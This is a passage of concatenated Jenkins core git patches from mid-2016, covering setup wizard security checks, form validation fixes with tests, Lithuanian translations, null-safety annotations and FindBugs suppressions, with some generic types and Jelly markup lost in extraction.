diff --git a/core/src/main/java/jenkins/install/SetupWizard.java b/core/src/main/java/jenkins/install/SetupWizard.java index 6af23d6dff..0cf0735e5d 100644 --- a/core/src/main/java/jenkins/install/SetupWizard.java +++ b/core/src/main/java/jenkins/install/SetupWizard.java @@ -18,10 +18,12 @@ import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; +import javax.servlet.http.HttpServletResponse; import org.acegisecurity.Authentication; import org.acegisecurity.context.SecurityContextHolder; import org.acegisecurity.providers.UsernamePasswordAuthenticationToken; +import org.acegisecurity.userdetails.UsernameNotFoundException; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.HttpResponse; @@ -155,7 +157,9 @@ public class SetupWizard extends PageDecorator { try { PluginServletFilter.addFilter(FORCE_SETUP_WIZARD_FILTER); - isUsingSecurityToken = true; + // if we're not using security defaults, we should not show the security token screen + // users will likely be sent to a login screen instead + isUsingSecurityToken = isUsingSecurityDefaults(); } catch (ServletException e) { throw new RuntimeException("Unable to add PluginServletFilter for the SetupWizard", e); } @@ -174,15 +178,41 @@ public class SetupWizard extends PageDecorator { */ public boolean isUsingSecurityToken() { try { - return isUsingSecurityToken // only ever show this if using the security token + return isUsingSecurityToken // only ever show the unlock page if using the security token && !Jenkins.getInstance().getInstallState().isSetupComplete() - && getInitialAdminPasswordFile().exists(); + && isUsingSecurityDefaults(); } catch (Exception e) { // ignore } return false; } - + + /** + * Determines if the security settings seem to match the defaults. Here, we only + * really care about and test for HudsonPrivateSecurityRealm and the user setup. + * Other settings are irrelevant. + */ + /*package*/ boolean isUsingSecurityDefaults() { + Jenkins j = Jenkins.getInstance(); + if (j.getSecurityRealm() instanceof HudsonPrivateSecurityRealm) { + HudsonPrivateSecurityRealm securityRealm = (HudsonPrivateSecurityRealm)j.getSecurityRealm(); + try { + if(securityRealm.getAllUsers().size() == 1) { + HudsonPrivateSecurityRealm.Details details = securityRealm.loadUserByUsername(SetupWizard.initialSetupAdminUserName); + FilePath iapf = getInitialAdminPasswordFile(); + if (iapf.exists()) { + if (details.isPasswordCorrect(iapf.readToString().trim())) { + return true; + } + } + } + } catch(UsernameNotFoundException | IOException | InterruptedException e) { + return false; // Not initial security setup if no transitional admin user / password found + } + } + return false; + } + /** * Called during the initial setup to create an admin user */ @@ -456,6 +486,7 @@ public class SetupWizard extends PageDecorator { if (request instanceof HttpServletRequest) { HttpServletRequest req = (HttpServletRequest)request; if((req.getContextPath() + "/").equals(req.getRequestURI())) { + Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); chain.doFilter(new HttpServletRequestWrapper(req) { public String getRequestURI() { return getContextPath() + "/setupWizard/"; diff --git a/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token.jelly b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token.jelly index d2c5ea7263..02a02dc408 100644 --- a/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token.jelly +++ b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token.jelly @@ -3,6 +3,7 @@

+
diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index 26f2ddfa7c..7da6ae2357 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -1355,7 +1355,7 @@ public abstract class Job, RunT extends Run extends AbstractMap i * @param number the build number to probe. * @return {@code true} if there is an run for the corresponding number, note that this does not mean that * the corresponding record will load. - * @since FIXME + * @since 2.14 */ public boolean runExists(int number) { return numberOnDisk.contains(number); -- GitLab From 439426236f52f905df782c1467c96c7bda8a746a Mon Sep 17 00:00:00 2001 From: godfath3r Date: Thu, 14 Jul 2016 20:18:45 +0300 Subject: [PATCH 066/811] [JENKINS-36387] Catch exception when scm retry count field is empty. (#2433) * [JENKINS-36387] Catch exception when scm retry count field is empty. * Add test for JENKINS-36387 * [JENKINS-36387] Move test in correct place * [JENKINS-36387] Reproduce actuall behaviour --- .../GlobalSCMRetryCountConfiguration.java | 5 +- .../GlobalSCMRetryCountConfigurationTest.java | 70 +++++++++++++++++++ 2 files changed, 74 insertions(+), 1 deletion(-) create mode 100644 test/src/test/java/jenkins/model/GlobalSCMRetryCountConfigurationTest.java diff --git a/core/src/main/java/jenkins/model/GlobalSCMRetryCountConfiguration.java b/core/src/main/java/jenkins/model/GlobalSCMRetryCountConfiguration.java index 43d1f06a3a..3e4d3afafa 100644 --- a/core/src/main/java/jenkins/model/GlobalSCMRetryCountConfiguration.java +++ b/core/src/main/java/jenkins/model/GlobalSCMRetryCountConfiguration.java @@ -24,6 +24,7 @@ package jenkins.model; import hudson.Extension; +import net.sf.json.JSONException; import net.sf.json.JSONObject; import org.jenkinsci.Symbol; import org.kohsuke.stapler.StaplerRequest; @@ -49,6 +50,8 @@ public class GlobalSCMRetryCountConfiguration extends GlobalConfiguration { return true; } catch (IOException e) { throw new FormException(e,"quietPeriod"); + } catch (JSONException e) { + throw new FormException(e.getMessage(), "quietPeriod"); } } -} \ No newline at end of file +} diff --git a/test/src/test/java/jenkins/model/GlobalSCMRetryCountConfigurationTest.java b/test/src/test/java/jenkins/model/GlobalSCMRetryCountConfigurationTest.java new file mode 100644 index 0000000000..9ea926f264 --- /dev/null +++ b/test/src/test/java/jenkins/model/GlobalSCMRetryCountConfigurationTest.java @@ -0,0 +1,70 @@ +/* + * The MIT License + * + * Copyright (c) 2016 + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.model; + +import static org.hamcrest.CoreMatchers.equalTo; +import static org.junit.Assert.assertThat; + +import hudson.model.Descriptor; +import net.sf.json.JSONObject; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.kohsuke.stapler.Stapler; + +/** + * Tests of {@link GlobalSCMRetryCountConfiguration}. + * @author Panagiotis Galatsanos + */ +public class GlobalSCMRetryCountConfigurationTest { + @Rule + public JenkinsRule j = new JenkinsRule(); + + @Test + @Issue("JENKINS-36387") + public void shouldExceptOnNullScmRetryCount() throws Exception { + try { + JSONObject json = new JSONObject(); + GlobalSCMRetryCountConfiguration gc = (GlobalSCMRetryCountConfiguration) + GlobalConfiguration.all().getDynamic("jenkins.model.GlobalSCMRetryCountConfiguration"); + + json.element("scmCheckoutRetryCount", 5); + gc.configure(Stapler.getCurrentRequest(), json); + assertThat("Wrong value, it should be equal to 5", + j.getInstance().getScmCheckoutRetryCount(), equalTo(5)); + + json.element("scmCheckoutRetryCount", 3); + gc.configure(Stapler.getCurrentRequest(), json); + assertThat("Wrong value, it should be equal to 3", + j.getInstance().getScmCheckoutRetryCount(), equalTo(3)); + + JSONObject emptyJson = new JSONObject(); + gc.configure(Stapler.getCurrentRequest(), emptyJson); + } catch (Descriptor.FormException e) { + assertThat("Scm Retry count value changed! This shouldn't happen.", + j.getInstance().getScmCheckoutRetryCount(), equalTo(3)); + } + } +} -- GitLab From 382b04f786bca7574ab12002438b7754dcf646df Mon Sep 17 00:00:00 2001 From: ge-vi Date: Fri, 15 Jul 2016 09:55:49 +0300 Subject: [PATCH 067/811] translations for lt language (#2430) --- .../hudson/model/View/delete_lt.properties | 6 ++- .../hudson/model/View/sidepanel_lt.properties | 38 +++++-------------- 2 files changed, 13 insertions(+), 31 deletions(-) diff --git a/core/src/main/resources/hudson/model/View/delete_lt.properties b/core/src/main/resources/hudson/model/View/delete_lt.properties index 2c35c52d41..a4a03c7bef 100644 --- a/core/src/main/resources/hudson/model/View/delete_lt.properties +++ b/core/src/main/resources/hudson/model/View/delete_lt.properties @@ -1,2 +1,4 @@ -Are\ you\ sure\ about\ deleting\ the\ view?=Ar tikrai norite i\u0161trinti rodin\u012f? -Yes=Taip +# /jenkins-core/src/main/resources/hudson/model/View/delete_lt.properties + +Are\ you\ sure\ about\ deleting\ the\ view?=Ar tikrai norite i\u0161trinti \u0161i\u0105 skilt\u012F? +Yes=Taip diff --git a/core/src/main/resources/hudson/model/View/sidepanel_lt.properties b/core/src/main/resources/hudson/model/View/sidepanel_lt.properties index b8b562f01c..b2a588be6f 100644 --- a/core/src/main/resources/hudson/model/View/sidepanel_lt.properties +++ b/core/src/main/resources/hudson/model/View/sidepanel_lt.properties @@ -1,29 +1,9 @@ -# The MIT License -# -# Copyright (c) 2004-2010, Sun Microsystems, Inc. -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Build\ History=U\u017Eduo\u010Di\u0173 istorija -Check\ File\ Fingerprint=Tikrinti Failo Antspaud\u0105 -Delete\ View=\u0160alinti Vaizd\u0105 -Edit\ View=Redaguoti skilt\u012F -NewJob=Naujas {0} -People=\u017Dmon\u0117s -Project\ Relationship=Projekto S\u0105ry\u0161iai +# /jenkins-core/src/main/resources/hudson/model/View/sidepanel_lt.properties + +Build\ History=U\u017Eduo\u010Di\u0173 istorija +Check\ File\ Fingerprint=Tikrinti failo antspaud\u0105 +Delete\ View=I\u0161trinti skilt\u012F +Edit\ View=Redaguoti skilt\u012F +NewJob=Naujas {0} +People=\u017Dmon\u0117s +Project\ Relationship=Projekto S\u0105ry\u0161iai -- GitLab From e5f20ceb45ed08cb0ca8e20eaa952026846a15bf Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 15 Jul 2016 11:00:09 +0400 Subject: [PATCH 068/811] [FIXED JENKINS-36594] - CauseOfInterruption.UserInterruption#getUser() should not create new users (#2450) * CauseOfInterruption.UserInterruption#getUser() should not create new users if the user gets deleted before the cause printing call * [JENKINS-36594] - Print raw username if we cannot create MasterHyperlinkNote --- .../src/main/java/hudson/console/ModelHyperlinkNote.java | 3 ++- .../src/main/java/jenkins/model/CauseOfInterruption.java | 9 +++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/console/ModelHyperlinkNote.java b/core/src/main/java/hudson/console/ModelHyperlinkNote.java index 86d7bd3fc8..784934708d 100644 --- a/core/src/main/java/hudson/console/ModelHyperlinkNote.java +++ b/core/src/main/java/hudson/console/ModelHyperlinkNote.java @@ -8,6 +8,7 @@ import org.jenkinsci.Symbol; import java.io.IOException; import java.util.logging.Level; import java.util.logging.Logger; +import javax.annotation.Nonnull; /** * {@link HyperlinkNote} that links to a {@linkplain ModelObject model object}, @@ -26,7 +27,7 @@ public class ModelHyperlinkNote extends HyperlinkNote { return " class='model-link'"; } - public static String encodeTo(User u) { + public static String encodeTo(@Nonnull User u) { return encodeTo(u,u.getDisplayName()); } diff --git a/core/src/main/java/jenkins/model/CauseOfInterruption.java b/core/src/main/java/jenkins/model/CauseOfInterruption.java index 90da391dbc..81dd16111d 100644 --- a/core/src/main/java/jenkins/model/CauseOfInterruption.java +++ b/core/src/main/java/jenkins/model/CauseOfInterruption.java @@ -31,6 +31,8 @@ import org.kohsuke.stapler.export.Exported; import org.kohsuke.stapler.export.ExportedBean; import java.io.Serializable; +import java.util.Collections; +import javax.annotation.CheckForNull; /** * Records why an {@linkplain Executor#interrupt() executor is interrupted}. @@ -82,8 +84,9 @@ public abstract class CauseOfInterruption implements Serializable { this.user = userId; } + @CheckForNull public User getUser() { - return User.get(user); + return User.get(user, false, Collections.emptyMap()); } public String getShortDescription() { @@ -92,8 +95,10 @@ public abstract class CauseOfInterruption implements Serializable { @Override public void print(TaskListener listener) { + final User userInstance = getUser(); listener.getLogger().println( - Messages.CauseOfInterruption_ShortDescription(ModelHyperlinkNote.encodeTo(getUser()))); + Messages.CauseOfInterruption_ShortDescription( + userInstance != null ? ModelHyperlinkNote.encodeTo(userInstance) : user)); } @Override -- GitLab From a0431beba641a7536981765ac77256b6f3859fbe Mon Sep 17 00:00:00 2001 From: Robert Sandell Date: Fri, 15 Jul 2016 12:53:58 +0200 Subject: [PATCH 069/811] Turn on autocomplete for job and view name --- core/src/main/resources/hudson/model/Job/configure.jelly | 2 +- core/src/main/resources/hudson/model/View/configure.jelly | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/resources/hudson/model/Job/configure.jelly b/core/src/main/resources/hudson/model/Job/configure.jelly index ac39d60dbb..ddf5467f8d 100644 --- a/core/src/main/resources/hudson/model/Job/configure.jelly +++ b/core/src/main/resources/hudson/model/Job/configure.jelly @@ -46,7 +46,7 @@ THE SOFTWARE. - + diff --git a/core/src/main/resources/hudson/model/View/configure.jelly b/core/src/main/resources/hudson/model/View/configure.jelly index b0c41a8387..11d4ea1f86 100644 --- a/core/src/main/resources/hudson/model/View/configure.jelly +++ b/core/src/main/resources/hudson/model/View/configure.jelly @@ -36,7 +36,7 @@ THE SOFTWARE. - + -- GitLab From 4577cf6ae14fffd701fb10fa674690b305fd8b06 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 15 Jul 2016 16:50:50 +0400 Subject: [PATCH 070/811] [FIXED JENKINS-36593] - Make ItemCategory#MIN_TOSHOW restricted (#2449) * [JENKINS-36593] - ItemCategory#MIN_TOSHOW should be restricted * [JENKINS-36593] - Add Javadoc --- .../java/jenkins/model/item_category/ItemCategory.java | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/core/src/main/java/jenkins/model/item_category/ItemCategory.java b/core/src/main/java/jenkins/model/item_category/ItemCategory.java index 7078a86377..6efdefd2f8 100644 --- a/core/src/main/java/jenkins/model/item_category/ItemCategory.java +++ b/core/src/main/java/jenkins/model/item_category/ItemCategory.java @@ -30,6 +30,8 @@ import hudson.ExtensionPoint; import hudson.model.TopLevelItemDescriptor; import javax.annotation.Nonnull; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; /** * A category for {@link hudson.model.Item}s. @@ -38,6 +40,13 @@ import javax.annotation.Nonnull; */ public abstract class ItemCategory implements ExtensionPoint { + /** + * This field indicates how much non-default categories are required in + * order to start showing them in Jenkins. + * This field is restricted for the internal use only, because all other changes would cause binary compatibility issues. + * See JENKINS-36593 for more info. + */ + @Restricted(NoExternalUse.class) public static int MIN_TOSHOW = 1; /** -- GitLab From 0b517705f5de454f2896d5c345ac8ec4fa8f6651 Mon Sep 17 00:00:00 2001 From: Rupin R Nath Date: Fri, 15 Jul 2016 18:23:59 +0530 Subject: [PATCH 071/811] [FIXED JENKINS-33201 Java JSON exception with an empty parametrized build.] (#2444) * Fixed JENKINS-33201 [Java JSON exception with an empty parametrized build.] * FIXED JENKINS-33201. Changed to FormException instead of Failure * That fix was never in a released version. So it cannot have been reverted. * Lowercase i for consistency * Remove the concept of yanking dead executors. * Another unnecessary call to doYank. * [FIXED JENKINS-27530] Jenkins.reload must also reload the Queue to ensure that every Queue.Item.task corresponds to a live Job, lest nextBuildNumber be bogus. * [JENKINS-27530] Noting #2439 & #2440. * FIXED JENKINS-33201. Changed to FormException instead of Failure * [FIXED JENKINS-33201 .FormException is thrown if parameterDefinitions are not available . * Changing one more Tab to Space * Moved checkForEmptyParameters to Job class --- core/src/main/java/hudson/model/Job.java | 16 ++++++++++++++++ .../resources/hudson/model/Messages.properties | 2 ++ .../resources/jenkins/model/Messages.properties | 2 +- 3 files changed, 19 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index 7da6ae2357..bd890b7a0a 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -1231,6 +1231,8 @@ public abstract class Job, RunT extends Run, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); JSONObject jsonProperties = json.optJSONObject("properties"); if (jsonProperties != null) { + //This handles the situation when Parameterized build checkbox is checked but no parameters are selected. User will be redirected to an error page with proper error message. + Job.checkForEmptyParameters(jsonProperties); t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); } else { t.clear(); @@ -1535,4 +1537,18 @@ public abstract class Job, RunT extends RunContainers and \ Tomcat i18n for more details. Hudson.NodeDescription=the master Jenkins node - +Hudson.NoParamsSpecified=No Parameters are specified for this parameterized build CLI.restart.shortDescription=Restart Jenkins. CLI.safe-restart.shortDescription=Safely restart Jenkins. -- GitLab From 994fd9ffdd29261ac83c7f6d8b4f682da636e07c Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 15 Jul 2016 17:32:47 +0400 Subject: [PATCH 072/811] Annotate and document the AsynchronousExecution#getExecutor() method (#2447) --- .../java/jenkins/model/queue/AsynchronousExecution.java | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/model/queue/AsynchronousExecution.java b/core/src/main/java/jenkins/model/queue/AsynchronousExecution.java index d53fc768c3..9189a4e630 100644 --- a/core/src/main/java/jenkins/model/queue/AsynchronousExecution.java +++ b/core/src/main/java/jenkins/model/queue/AsynchronousExecution.java @@ -32,6 +32,7 @@ import hudson.model.ResourceActivity; import hudson.model.ResourceController; import hudson.model.ResourceList; import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; import javax.annotation.concurrent.GuardedBy; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; @@ -93,13 +94,16 @@ public abstract class AsynchronousExecution extends RuntimeException { /** * Obtains the associated executor. + * @return Associated Executor. May be {@code null} if {@link #setExecutor(hudson.model.Executor)} + * has not been called yet. */ + @CheckForNull public synchronized final Executor getExecutor() { return executor; } @Restricted(NoExternalUse.class) - public synchronized final void setExecutor(Executor executor) { + public synchronized final void setExecutor(@Nonnull Executor executor) { assert this.executor==null; this.executor = executor; -- GitLab From 8a330acc5eba2697a671d5d6c13d7d7cb90e723e Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 15 Jul 2016 17:33:29 +0300 Subject: [PATCH 073/811] [JENKINS-36193] - Add direct unit test for the issue --- .../model/ParameterizedJobMixInTest.java | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 test/src/test/java/jenkins/model/ParameterizedJobMixInTest.java diff --git a/test/src/test/java/jenkins/model/ParameterizedJobMixInTest.java b/test/src/test/java/jenkins/model/ParameterizedJobMixInTest.java new file mode 100644 index 0000000000..d6a9715585 --- /dev/null +++ b/test/src/test/java/jenkins/model/ParameterizedJobMixInTest.java @@ -0,0 +1,65 @@ +/* + * The MIT License + * + * Copyright (c) 2016 Oleg Nenashev. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.model; + +import com.gargoylesoftware.htmlunit.html.HtmlPage; +import hudson.model.FreeStyleProject; +import hudson.model.ParametersDefinitionProperty; +import hudson.model.StringParameterDefinition; +import java.io.IOException; +import javax.servlet.http.HttpServletResponse; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; + +/** + * Tests of {@link ParameterizedJobMixIn}. + * @author Oleg Nenashev + */ +public class ParameterizedJobMixInTest { + + @Rule + public JenkinsRule j = new JenkinsRule(); + + @Test + public void doBuild_shouldFailWhenInvokingDisabledProject() throws Exception { + final FreeStyleProject project = j.createFreeStyleProject(); + project.doDisable(); + + final JenkinsRule.WebClient webClient = j.createWebClient(); + webClient.assertFails(project.getUrl() + "build", HttpServletResponse.SC_CONFLICT); + } + + @Test + @Issue("JENKINS-36193") + public void doBuildWithParameters_shouldFailWhenInvokingDisabledProject() throws Exception { + final FreeStyleProject project = j.createFreeStyleProject(); + project.addProperty(new ParametersDefinitionProperty(new StringParameterDefinition("FOO", "BAR"))); + project.doDisable(); + + final JenkinsRule.WebClient webClient = j.createWebClient(); + webClient.assertFails(project.getUrl() + "buildWithParameters", HttpServletResponse.SC_CONFLICT); + } +} -- GitLab From 52f8ba0e5bd20579e4a5fc56365cd20a8bda9f88 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 16 Jul 2016 02:15:58 +0300 Subject: [PATCH 074/811] FindBugs: Suppress DMI_COLLECTION_OF_URLS in PluginManager since it's safe --- core/src/main/java/hudson/PluginManager.java | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index d9a4686c26..e8ad0b275c 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -24,6 +24,7 @@ package hudson; import edu.umd.cs.findbugs.annotations.NonNull; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.security.ACLContext; import jenkins.util.SystemProperties; import hudson.PluginWrapper.Dependency; @@ -571,6 +572,8 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas return loadPluginsFromWar(fromPath, null); } + //TODO: Consider refactoring in order to avoid DMI_COLLECTION_OF_URLS + @SuppressFBWarnings(value = "DMI_COLLECTION_OF_URLS", justification = "Plugin loading happens only once on Jenkins startup") protected @Nonnull Set loadPluginsFromWar(@Nonnull String fromPath, @CheckForNull FilenameFilter filter) { Set names = new HashSet(); @@ -627,6 +630,8 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas return names; } + //TODO: Consider refactoring in order to avoid DMI_COLLECTION_OF_URLS + @SuppressFBWarnings(value = "DMI_COLLECTION_OF_URLS", justification = "Plugin loading happens only once on Jenkins startup") protected static void addDependencies(URL hpiResUrl, String fromPath, Set dependencySet) throws URISyntaxException, MalformedURLException { if (dependencySet.contains(hpiResUrl)) { return; -- GitLab From 3c31cb9692b4171b68dd10798019fd80bff56ce9 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 16 Jul 2016 02:16:50 +0300 Subject: [PATCH 075/811] FindBugs: Suppress DM_GC in hudson.Util#pauseBetweenDeletes(), because it's a desired behavior for custom setting --- core/src/main/java/hudson/Util.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/core/src/main/java/hudson/Util.java b/core/src/main/java/hudson/Util.java index aa0533f7a8..7fb0308493 100644 --- a/core/src/main/java/hudson/Util.java +++ b/core/src/main/java/hudson/Util.java @@ -25,6 +25,7 @@ package hudson; import jenkins.util.SystemProperties; import com.sun.jna.Native; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import edu.umd.cs.findbugs.annotations.SuppressWarnings; import hudson.Proc.LocalProc; @@ -405,6 +406,8 @@ public class Util { * @return false if it is ok to continue trying to delete things, true if * we were interrupted (and should stop now). */ + @SuppressFBWarnings(value = "DM_GC", justification = "Garbage collection happens only when " + + "GC_AFTER_FAILED_DELETE is true. It's an experimental feature in Jenkins.") private static boolean pauseBetweenDeletes(int numberOfAttemptsSoFar) { long delayInMs; if( numberOfAttemptsSoFar>=DELETION_MAX ) return false; -- GitLab From 6e7b84bc0892b608d0e95f3ba769af5eb7388c70 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 16 Jul 2016 02:17:41 +0300 Subject: [PATCH 076/811] FindBugs: Suppress MS_SHOULD_BE_REFACTORED_TO_BE_FINAL for ChartUtils#awtProblemCause --- core/src/main/java/hudson/util/ChartUtil.java | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/core/src/main/java/hudson/util/ChartUtil.java b/core/src/main/java/hudson/util/ChartUtil.java index 1fcd8d7215..f7341d545a 100644 --- a/core/src/main/java/hudson/util/ChartUtil.java +++ b/core/src/main/java/hudson/util/ChartUtil.java @@ -23,6 +23,7 @@ */ package hudson.util; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.model.AbstractBuild; import hudson.model.Run; import org.jfree.chart.JFreeChart; @@ -103,9 +104,13 @@ public class ChartUtil { @Deprecated public static boolean awtProblem = false; + //TODO: prevent usage of this APIs in plugins. Needs to be deprecated and replaced by a getter method /** * See issue 93. Detect an error in X11 and handle it gracefully. */ + @SuppressFBWarnings(value = "MS_SHOULD_BE_REFACTORED_TO_BE_FINAL", + justification = "It's actually being widely used by plugins. " + + "Obsolete approach, should be ideally replaced by Getter") public static Throwable awtProblemCause = null; /** -- GitLab From 10522b7fecb5ebe6d22f6289717fd4175c5ce2c4 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 16 Jul 2016 02:34:33 +0300 Subject: [PATCH 077/811] FindBugs: Handle potential null jenkins instance in the DescriptorExtensionList#load() method --- core/src/main/java/hudson/DescriptorExtensionList.java | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/core/src/main/java/hudson/DescriptorExtensionList.java b/core/src/main/java/hudson/DescriptorExtensionList.java index 513c557d44..16d96ae441 100644 --- a/core/src/main/java/hudson/DescriptorExtensionList.java +++ b/core/src/main/java/hudson/DescriptorExtensionList.java @@ -39,6 +39,7 @@ import hudson.tasks.Publisher; import java.util.Collection; import java.util.List; import java.util.ArrayList; +import java.util.Collections; import java.util.Iterator; import java.util.logging.Level; import java.util.logging.Logger; @@ -182,6 +183,11 @@ public class DescriptorExtensionList, D extends Descrip */ @Override protected List> load() { + if (jenkins == null) { + // Should never happen on the real instance + LOGGER.log(Level.WARNING, "Cannot load extension components, because Jenkins instance has not been assigned yet"); + return Collections.emptyList(); + } return _load(jenkins.getExtensionList(Descriptor.class).getComponents()); } -- GitLab From 2ac529ed5e1a9b8f58e67942b8aefb703693d9cc Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 16 Jul 2016 02:37:53 +0300 Subject: [PATCH 078/811] FindBugs: Handle non-realistic case when null StaplerRequest gets passed into DEfaultCrumbIssuer and Maven step instatinations --- .../main/java/hudson/security/csrf/DefaultCrumbIssuer.java | 5 +++++ core/src/main/java/hudson/tasks/Maven.java | 5 +++++ 2 files changed, 10 insertions(+) diff --git a/core/src/main/java/hudson/security/csrf/DefaultCrumbIssuer.java b/core/src/main/java/hudson/security/csrf/DefaultCrumbIssuer.java index 2e982e0d4c..7f833c17f3 100644 --- a/core/src/main/java/hudson/security/csrf/DefaultCrumbIssuer.java +++ b/core/src/main/java/hudson/security/csrf/DefaultCrumbIssuer.java @@ -137,6 +137,11 @@ public class DefaultCrumbIssuer extends CrumbIssuer { @Override public DefaultCrumbIssuer newInstance(StaplerRequest req, JSONObject formData) throws FormException { + if (req == null) { + // This state is prohibited according to the Javadoc of the super method. + throw new FormException("DefaultCrumbIssuer new instance method is called for null Stapler request. " + + "Such call is prohibited.", "req"); + } return req.bindJSON(DefaultCrumbIssuer.class, formData); } } diff --git a/core/src/main/java/hudson/tasks/Maven.java b/core/src/main/java/hudson/tasks/Maven.java index bc670e708e..d213cb1bea 100644 --- a/core/src/main/java/hudson/tasks/Maven.java +++ b/core/src/main/java/hudson/tasks/Maven.java @@ -472,6 +472,11 @@ public class Maven extends Builder { @Override public Builder newInstance(StaplerRequest req, JSONObject formData) throws FormException { + if (req == null) { + // This state is prohibited according to the Javadoc of the super method. + throw new FormException("Maven Build Step new instance method is called for null Stapler request. " + + "Such call is prohibited.", "req"); + } return req.bindJSON(Maven.class,formData); } } -- GitLab From 